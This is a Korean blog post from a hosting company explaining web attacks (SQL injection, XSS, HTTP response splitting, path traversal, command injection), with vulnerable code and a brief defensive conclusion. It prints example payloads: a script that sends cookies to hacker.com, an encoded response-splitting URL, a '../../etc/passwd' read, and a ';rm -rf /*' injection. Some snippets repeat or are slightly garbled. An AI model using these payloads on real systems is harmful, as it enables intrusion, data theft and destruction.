IT 이야기/보안 이슈
웹 해킹 원리와 방어 방법 「下」- 해외서버호스팅 제이피서버
KDSVPN
2017. 6. 20. 11:48
반응형
2.1. SQL Injection
[Web application]
strID = request.getParameter("id");
strPassword = request.getParameter("password");
result = Query("select count(*) from User" + "where id=" + strID+ "password =" + strPassword);
if(result == 1)
{
[HTML]
<input type="text" name="id">
<input type="text" name="password">
strID = request.getParameter("id");
strPassword = request.getParameter("password");
result = Query("select count(*) from User" + "where id=" + strID+ "password =" + strPassword);
if(result == 1)
{
echo "로그인 성공";
}[HTML]
<input type="text" name="id">
<input type="text" name="password">
2.2. Cross-site Scripting
<script>
String strCookie = Document.GetCookie();
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
</script>
String strCookie = Document.GetCookie();
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
</script>
2.3. HTTP Response Splitting
HTTP Response Splitting 공격은 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 있다면 응답 메시지를 조작하여 Proxy 서버를 공격자의 의도대로 조작할 수 있는 공격 방식입니다. 공격받은 Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 될 수 있습니다.
[JSP]
response.sendRedirect("/by_lang.jsp?lang="+request.getParameter("lang"));
response.sendRedirect("/by_lang.jsp?lang="+request.getParameter("lang"));
만약 JSP에서 위와 같은 코드를 사용한다면 공격자가 다음과 같은 코드를 보내서 프록시에게 응답 패킷이 두개라고 착각하게 만들 수 있습니다.
[공격 코드]
HTTP://victim.com/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a0d%0a<html>Getroot</html>
http://victim.com//index.html
HTTP://victim.com/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a0d%0a<html>Getroot</html>
http://victim.com//index.html
서버사이드에서는 공격 코드에 있는 인자를 그대로 받아서 처리하기 때문에 foobar 이후의 코드를 그대로 응답에 사용하게 될 것입니다. 이 때 공격자가 http://victim.com/index.html을 빠르게 요청하면 프록시 서버에서는 다음과 같이 응답이 온것으로 착각하게 됩니다.
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http:// victim.com /by_lang.jsp?lang=foobar
Content-Length: 0
<index.html 에 매칭>
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Getroot</html>따라서 해당 프록시를 사용하는 사용자는 http://victim.com/index.html 에 접근할 때 마다 Getroot 라는 조작된 페이지를 보게 될 것 입니다. 매우 많은 사용자가 사용하는 프록시 서버라면 Cross-site scripting과 결합하여 모든 URL로부터 악성코드가 감염되도록 조작할 수 있을 것입니다.
2.4. Path Traversal
Path Traversal은 웹 페이지에서 전달 받은 인자를 그대로 Path로 사용할 때, 해당 값을 조작하여 원하는 파일에 접근할 수 있게 되는 방식입니다.
[정상적인 URL]
http://www.victim.com/OpenFile.jsp?text.txt
[공격]
http://www.victim.com/OpenFile.jsp?../../etc/passwd
2.5. Commnad Injection
[ListFile.php]
Passthru(ls $path);
Passthru(ls $path);
[공격]
http://www.victim.com/ListFile.php?paht="/etc/;rm -rf /*"
http://www.victim.com/ListFile.php?paht="/etc/;rm -rf /*"
명령어와 명령어 사이에 ; 를 입력하면 두가지 명령어가 순차적으로 수행되는 쉘 기능이 있기 때문에 위 공격 코드는 ls /etc와 rm -rf /* 명령어 두개가 동시에 수행되는 것입니다. 이것은 매우 심각한 보안 문제를 일으킵니다. 이 문제를 해결하기 위해서는 사용자의 입력을 그대로 쉘 명령으로 수행하면 안됩니다. 쿼리문도 마찮가지이고, 어떤 상황에서도 모든 사용자의 입력은 한번 가공해서 처리해야 한다.
이로서 거의 대부분의 웹 해킹 방식의 원리를 정리하였습니다. 그대로 사용하면 현재는 거의 통하지 않는 공격 방식이지만(실수가 많은 사이트는 아직도 많은 버그가 발견되곤 합니다.) 최신 해킹 기법도 이 틀에서 벗어나지 않고, 응용 수준에서 이루어 지기 때문에 이 원리만 파악하고 방어를 철저히 해놓아도 공격에 쉽게 노출되지 않을 것입니다.
감사합니다.
출처링크
반응형